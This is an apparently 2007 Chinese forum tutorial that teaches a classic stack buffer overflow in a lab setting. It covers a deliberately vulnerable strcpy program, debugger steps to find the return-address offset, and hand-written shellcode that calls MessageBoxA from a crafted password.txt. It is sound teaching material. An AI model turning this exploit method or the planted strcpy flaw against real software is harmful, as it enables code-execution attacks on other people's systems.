標?題 :? 【技術專題】軟件漏洞分析入門_5_初級棧溢出D_植入任意代碼
作?者
:? failwest
時?間
:? 2007 - 12 - 16 , 17 : 06
鏈?接 :? http : //bbs.pediy.com/showthread.php?t=56656

5 講??初級棧溢出D——植入任意代碼

To?be?the?apostrophe?which?changed?“Impossible”?into?“I’m?possible”
——?failwest

麻雀雖小,五臟俱全

如果您順利的學完了前面
4 講的內容,并成功的完成了第 2 講和第 4 講中的實驗,那么今天請跟我來一起挑戰一下劫持有漏洞的進程,并向其植入惡意代碼的實驗,相信您成功完成這個實驗后,學習的興趣和自信心都會暴增。

開始之前,先簡要的回答一下前幾講跟貼中提出的問題

代碼編譯少頭文件問題:可能是個人習慣問題,哪怕幾行長的程序我也會丟到project里去build,而不是用cl,所以沒有注意細節。如果你們嫌麻煩,不如和我一樣用project來build,應該沒有問題的。否則的話,實驗用的程序實在太簡單了,這么一點小問題自己決絕吧。另外,看到幾個同學說為了實驗,專門恢復了古老的VC6
.0 ,我也感動不已啊,呵呵。

地址問題:溢出使用的地址一般都要在調試中重新確定,尤其是本節課中的哦。所以照抄我的實驗指導,很可能會出現地址錯誤。特別是本節課中有若干個地址都需要在調試中重新確定,請大家務必注意。能夠屏蔽地址差異的通用溢出方法將會在后續課程中逐一講解。

還有就是抱歉周末中斷了一天的講座——無私奉獻也要過周末啊,大家體諒一下了。另外就是下周項目很緊張,估計不能每天都發貼了,爭取兩到三天發一次,請大家體諒。

如果有什么問題,歡迎在跟貼中提出來,一起討論,實驗成功完成的同學記住要吱——吱——吱啊,呵呵

在基礎知識方面,本節沒有新的東西。但是這個想法實踐起來還是要費點周折的。我設計的實驗是最最簡單的情況,為了防止一開始難度高,刻意的去掉了真正的漏洞利用中的一些步驟,為的是讓初學者理解起來更加清晰,自然。

本節將涉及極少量的匯編語言編程,不過不要怕,非常簡單,我會給于詳細的解釋,不用專門去學匯編語言也能扛下來

另外本節需要最基本的使用OllyDbg進行調試,并配合一些其他工具以確認一些內存地址。當然這些地址的確認方法有很多,我只給出一種解決方案,如果大家在實驗的時候有什么心得,不妨在跟貼中拿出來和大家一起分享,一起進步。

開始前簡單回顧上節的內容:

password
. txt?文件中的超長畸形密碼讀入內存后,會淹沒verify_password函數的返回地址,將其改寫為密碼驗證正確分支的指令地址

函數返回時,錯誤的返回到被修改的內存地址處取指執行,從而打印出密碼正確字樣

試想一下,如果我們把buffer
[ 44 ] 中填入一段可執行的機器指令(寫在password . txt文件中即可),再把這個返回地址更改成buffer [ 44 ] 的位置,那么函數返回時不就正好跳去buffer里取指執行了么——那里恰好布置著一段用心險惡的機器代碼!

本節實驗的內容就用來實踐這一構想——通過緩沖去溢出,讓進程去執行布置在緩沖區中的一段任意代碼。



1
??


??
如上圖所示,在本節實驗中,我們準備向password . txt文件里植入二進制的機器碼,并用這段機器碼來調用windows的一個API函數?MessageBoxA,最終在桌面上彈出一個消息框并顯示“failwest”字樣。事實上,您可以用這段代碼來做任何事情,我們這里只是為了證明技術的可行性。

為了完成在棧區植入代碼并執行,我們在上節的密碼驗證程序的基礎上稍加修改,使用如下的實驗代碼:

#include? < stdio . h >
#include? < windows . h >
#define? PASSWORD? "1234567"
int? verify_password? ( char? * password )
{
??
int? authenticated ;
??
char? buffer [ 44 ];
??
authenticated = strcmp ( password , PASSWORD );
??
strcpy ( buffer , password ); //over?flowed?here!??
??
return? authenticated ;
}
main ()
{
??
int? valid_flag = 0 ;
??
char? password [ 1024 ];
??
FILE? *? fp ;
??
LoadLibrary ( "user32.dll" ); //prepare?for?messagebox
??
if (!( fp = fopen ( "password.txt" , "rw+" )))
??{
????
exit ( 0 );
??}
??
fscanf ( fp , "%s" , password );
??
valid_flag? =? verify_password ( password );
??
if ( valid_flag )
??{
????
printf ( "incorrect?password!\n" );
??}
??
else
??
{
????
printf ( "Congratulation!?You?have?passed?the?verification!\n" );
??}
??
fclose ( fp );
}

這段代碼在底 4 講中使用的代碼的基礎上修改了三處:

增加了頭文件windows
. h,以便程序能夠順利調用LoadLibrary函數去裝載user32 . dll

verify_password函數的局部變量buffer由
8 字節增加到 44 字節,這樣做是為了有足夠的空間來“承載”我們植入的代碼

main函數中增加了LoadLibrary
( "user32.dll" ) 用于初始化裝載user32 . dll,以便在植入代碼中調用MessageBox

用VC6
.0 將上述代碼編譯(默認編譯選項,編譯成debug版本),得到有棧溢出的可執行文件。在同目錄下創建password . txt文件用于程序調試。


我們準備在password
. txt文件中植入二進制的機器碼,在password . txt攻擊成功時,密碼驗證程序應該執行植入的代碼,并在桌面上彈出一個消息框顯示“failwest”字樣。
??
讓我們在動手之前回顧一下我們需要完成的幾項工作:

1 :分析并調試漏洞程序,獲得淹沒返回地址的偏移——在password . txt的第幾個字節填偽造的返回地址

2 :獲得buffer的起始地址,并將其寫入password . txt的相應偏移處,用來沖刷返回地址——填什么值

3 :向password . txt中寫入可執行的機器代碼,用來調用API彈出一個消息框——編寫能夠成功運行的機器代碼(二進制級別的哦)

這三個步驟也是漏洞利用過程中最基本的三個問題——淹到哪里,淹成什么以及開發shellcode

首先來看淹到什么位置和把返回地址改成什么值的問題

本節驗證程序里verify_password中的緩沖區為
44 個字節,按照前邊實驗中對棧結構的分析,我們不難得出棧幀中的狀態如下圖所示:

?

2


如果在password . txt中寫入恰好 44 個字符,那么第 45 個隱藏的截斷符null將沖掉authenticated低字節中的 1 ,從而突破密碼驗證的限制。我們不妨就用 44 個字節做為輸入來進行動態調試。

??出于字節對齊、容易辨認的目的,我們把“
4321 ”作為一個輸入單元。
??buffer
[ 44 ] 共需要 11 個這樣的單元
??第
12 個輸入單元將authenticated覆蓋
??第
13 個輸入單元將前棧幀EBP值覆蓋
??第
14 個輸入單元將返回地址覆蓋

分析過后我們需要進行調試驗證分析的正確性。首先在password
. txt中寫入 11 組“ 4321 ”共 44 個字符:


??

3


如我們所料,authenticated被沖刷后程序將進入驗證通過的分支:
?

4

用OllyDbg加載這個生成的PE文件進行動態調試,字符串拷貝函數過后的棧狀態如圖:

?

5

??
此時的棧區內存如下表所示

局部變量名??內存地址??偏移
3 處的值??偏移 2 處的值??偏移 1 處的值??偏移 0 處的值
buffer
[ 0 ~ 3 ]?? 0x0012FAF0??0x31? ( 1 )?? 0x32? ( 2 )?? 0x33? ( 3 )?? 0x34? ( 4 )
……??( 9 個雙字)?? 0x31? ( 1 )?? 0x32? ( 2 )?? 0x33? ( 3 )?? 0x34? ( 4 )
buffer [ 40 ~ 43 ]?? 0x0012FB18??0x31? ( 1 )?? 0x32? ( 2 )?? 0x33? ( 3 )?? 0x34? ( 4 )
authenticated
(被覆蓋前)??
0x0012FB1C??0x00??0x00??0x00??0x31? ( 1 )
authenticated
(被覆蓋后)??
0x0012FB1C??0x00??0x00??0x00??0x00? ( NULL )
前棧幀EBP?? 0x0012FB20??0x00??0x12??0xFF??0x80
返回地址?? 0x0012FB24??0x00??0x40??0x11??0x18

??
動態調試的結果證明了前邊分析的正確性。從這次調試中我們可以得到以下信息:

buffer數組的起始地址為
0x0012FAF0 ——注意這個值只是我調試的結果,您需要在自己機器上重新確定!

password
. txt文件中第 53 到第 56 個字符的ASCII碼值將寫入棧幀中的返回地址,成為函數返回后執行的指令地址

也就是說將buffer的起始地址
0x0012FAF0 寫入password . txt文件中的第 53 到第 56 個字節,在verify_password函數返回時會跳到我們輸入的字串開始出取指執行。


我們下面還需要給password
. txt中植入機器代碼。

讓程序彈出一個消息框只需要調用windows的API函數MessageBox。MSDN對這個函數的解釋如下:

int? MessageBox (
??
HWND?hWnd ,?????????? //?handle?to?owner?window
??
LPCTSTR?lpText ,????? //?text?in?message?box
??
LPCTSTR?lpCaption ,?? //?message?box?title
??
UINT?uType?????????? //?message?box?style
);

hWnd?
[ in ]? 消息框所屬窗口的句柄,如果為NULL的話,消息框則不屬于任何窗口?
lpText?
[ in ]? 字符串指針,所指字符串會在消息框中顯示?
lpCaption?
[ in ]? 字符串指針,所指字符串將成為消息框的標題?
uType?
[ in ]? 消息框的風格(單按鈕,多按鈕等),NULL代表默認風格?


雖然只是調一個API,在高級語言中也就一行代碼,但是要我們直接用二進制指令的形式寫出來也并不是一件容易的事。這個貌似簡單的問題解決起來還要用一點小心思。不要怕,我會給我的解決辦法,不一定是最好的,但是能解決問題。

??我們將寫出調用這個API的匯編代碼,然后翻譯成機器代碼,用
16 進制編輯工具填入password . txt文件。

注意:熟悉MFC的程序員一定知道,其實系統中并不存在真正的MessagBox函數,對MessageBox這類API的調用最終都將由系統按照參數中字符串的類型選擇“A”類函數(ASCII)或者“W”類函數(UNICODE)調用。因此我們在匯編語言中調用的函數應該是MessageBoxA。多說一句,其實MessageBoxA的實現只是在設置了幾個不常用參數后直接調用MessageBoxExA。探究API的細節超出了本書所討論的范圍,有興趣的讀者可以參閱其他書籍。

用匯編語言調用MessageboxA需要三個步驟:

1. 裝載動態鏈接庫user32 . dll。MessageBoxA是動態鏈接庫user32 . dll的導出函數。雖然大多數有圖形化操作界面的程序都已經裝載了這個庫,但是我們用來實驗的consol版并沒有默認加載它

2. 在匯編語言中調用這個函數需要獲得這個函數的入口地址

3? 在調用前需要向棧中按從右向左的順序壓入MessageBoxA的四個參數。當然,我肯定壓如failwest啦,哈哈

對于第一個問題,為了讓植入的機器代碼更加簡潔明了,我們在實驗準備中構造漏洞程序的時候已經人工加載了user32
. dll這個庫,所以第一步操作不用在匯編語言中考慮。

對于第二個問題,我們準備直接調用這個API的入口地址,這個地址需要在您的實驗機器上重新確定,因為user32
. dll中導出函數的地址和操作系統版本和補丁號有關,您的地址和我的地址不一定一樣。

MessageBoxA的入口參數可以通過user32
. dll在系統中加載的基址和MessageBoxA在庫中的偏移相加得到。為啥?看下看雪老大《軟件加密與解密》中關于虛擬地址這些基礎知識的論述吧,相信版內也有很多相關資料。

這里簡單解釋下,MessageBoxA是user32
. dll的一個導出函數,要確定它首先要知道user32 . dll在虛擬內存中的裝載地址(與操作系統版本有關),然后從這個基地址算起,找到MessageBoxA這個導出函數的偏移,兩者相加,就是這個API的虛擬內存地址。

具體的我們可以使用VC6
.0 自帶的小工具“Dependency?Walker”獲得這些信息。您可以在VC6 .0 安裝目錄下的Tools下找到它:
?

6

??
運行Depends后,隨便拖拽一個有圖形界面的PE文件進去,就可以看到它所使用的庫文件了。在左欄中找到并選中user32 . dll后,右欄中會列出這個庫文件的所有導出函數及偏移地址;下欄中則列出了PE文件用到的所有的庫的基地址。

?

7


??
如上圖示,user32 . dll的基地址為 0x77D40000 ,MessageBoxA的偏移地址為 0x000404EA 。基地址加上偏移地址就得到了MessageBoxA在內存中的入口地址: 0x77D804EA


??
有了這個入口地址,就可以編寫進行函數調用的匯編代碼了。這里我們先把字符串“failwest”壓入棧區,消息框的文本和標題都顯示為?“failwest”,只要重復壓入指向這個字符串的指針即可;第一個和第四個參數這里都將設置為NULL。寫出的匯編代碼和指令所對應的機器代碼如下:

???????????

機器代碼(
16 進制)??匯編指令??注釋
33? DB??XOR?EBX , EBX??壓入NULL結尾的”failwest”字符串。之所以用EBX清零后入棧做為字符串的截斷符,是為了避免“PUSH? 0 ”中的NULL,否則植入的機器碼會被strcpy函數截斷。
53?????????????????? PUSH?EBX??
68?77?65?73?74?? PUSH? 74736577??
68?66?61?69?6C??
PUSH? 6C696166??
8B?
C4????????????????MOV?EAX , ESP??EAX里是字符串指針
53?????????????????? PUSH?EBX??四個參數按照從右向左的順序入棧,分別為 :
?????????????????????????????????????????????????(
0 , failwest , failwest , 0 )
??????????????????????????????????????????????????
消息框為默認風格,文本區和標題都是“failwest”
50??????????????????? PUSH?EAX??
50??????????????????? PUSH?EAX??
53??????????????????? PUSH?EBX??
B8?EA?
04? D8? 77?? MOV?EAX ,? 0x77D804EA?? 調用MessageBoxA。注意不同的機器這里的????????????????????????????????????
????????????????????????????????????????????????????????????????????函數入口地址可能不同,請按實際值填入
!
FF?D0?????????????????CALL?EAX??


從匯編指令到機器碼的轉換可以有很多種方法。調試匯編指令,從匯編指令中提取出二進制機器代碼的方法將在后面逐一介紹。由于這里僅僅用了
11 條指令和對應的 26 個字節的機器代碼,如果您一定要現在就弄明白指令到機器碼是如何對應的話,直接查閱Intel的指令集手工翻譯也不是不可以。

??將上述匯編指令對應的機器代碼按照上一節介紹的方法以
16 進制形式逐字抄入password . txt,第 53 56 字節填入buffer的起址 0x0012FAF0 ,其余的字節用 0x90 ( nop指令 ) 填充,如圖:

?

8


換回文本模式可以看到這些機器代碼所對應的字符:
?


9

這樣構造了password . txt之后在運行驗證程序,程序執行的流程將按下圖所示:




10


程序運行情況如圖:
?

11


成功的彈出了我們植入的代碼!

您成功了嗎?如果成功的喚出了藏在password
. txt中的消息框,請在跟貼中吱一下,和大家一起分享您喜悅的心情,這是我們學習技術的源動力。

最后總結一下本節實驗的幾個要點:
確認函數返回地址與buffer數組的距離——淹哪里
確認buffer數組的內存地址——把返回地址淹成什么(需要調試確定,與機器有關)
編制調用消息框的二進制代碼,關鍵是確定MessageBoxA的虛擬內存地址(與機器有關)

我實驗用的PE和password
. txt在這里:

想要PE的請點這里:stack_overflow_exec
. rar
想要Passwrd
. txt的請點這里:password . txt


這節課的題目是麻雀雖小,五臟俱全。這是因為這節課第一次把漏洞利用的全國程展現給了大家:
密碼驗證程序讀入一個畸形的密碼文件,竟然蹦出了一個消息框!
Word在解析doc文檔時,不知有多少個內存復制和操作的函數調用,如果哪一個有溢出漏洞,那么office讀入一個畸形的word文檔時,會不會彈出個消息框,開個后門,起個木馬啥的?
IIS和APACHE在解析WEB請求的時候,也不知道有多少內存復制操作,如果存在溢出漏洞,那么攻擊者發送一個畸形的WEB請求,會不會導致server做出點奇怪的事情?
RPC調用中如果出現……

上面說的并不是危言聳聽,全都是真實世界中曾經出現過的漏洞攻擊案例。本節的例子是現實中的漏洞利用案例的精簡版,用來闡述基本概念并驗證技術可行性。隨著后面的深入討論,您會發現漏洞研究是多么有趣的一門技術。



在本節最后,我給出一個課后作業和幾個思考題——因為下一講可能會稍微隔幾天,大家不妨自己動手練習練習,記住光聽課是沒有的,動手非常重要!

課后作業:如果您細心的話,在點擊上面的ok按鈕之后,程序會崩潰:


?圖
12

??
這是因為MessageBoxA調用的代碼執行完成之后,我們沒有寫安全退出的代碼的緣故。您能把我給出的二進制代碼稍微修改下,使之能夠在點擊之后干凈利落的退出進程么?

如果你能做到這一點,不妨把你的解決方案也拿出來和大家一起分享,一起進步。

思考題:

1 :我反復強調,buffer的位置在實驗中需要自己在調試中確定,不同機器環境可能不一樣。
大家都知道,程序運行中,棧的位置是動態變化的,也就是說buffer的內存地址可能每次都不一樣,在真實的漏洞利用中,尤其是遇到多線程的程序,每次的緩沖區位置都是不同的。那么我們怎么保證在函數返回時總能夠準確的跳回buffer,找到植入的代碼呢
?

比較通用的定位植入代碼(shellcode)的方法我會在后面的講座中系統介紹,這里先提一下,大家可以思考思考

2 :我也反復強調,API的地址需要自己確定,不同環境會有不同。這樣植入代碼的通用性還是會大打折扣。有沒有通用的定位windows?API的方法呢?

以上兩個問題是影響windows平臺下漏洞利用穩定性的兩個很關鍵的問題。我選擇了windows平臺來講解,是為了照顧初學者對linux的進入門檻和windows下美輪美奐的調試工具。但windows的溢出是相對linux較難的,進入簡單,深造難。不過我相信大家能啃下來的。

為了不至于在一節課中引入太多新東西,我在本節課中均采用現場調試確定的方法,并沒有考慮通用性問題。在這里鼓勵大家積極思考,有想法別忘了在跟貼中分享出來。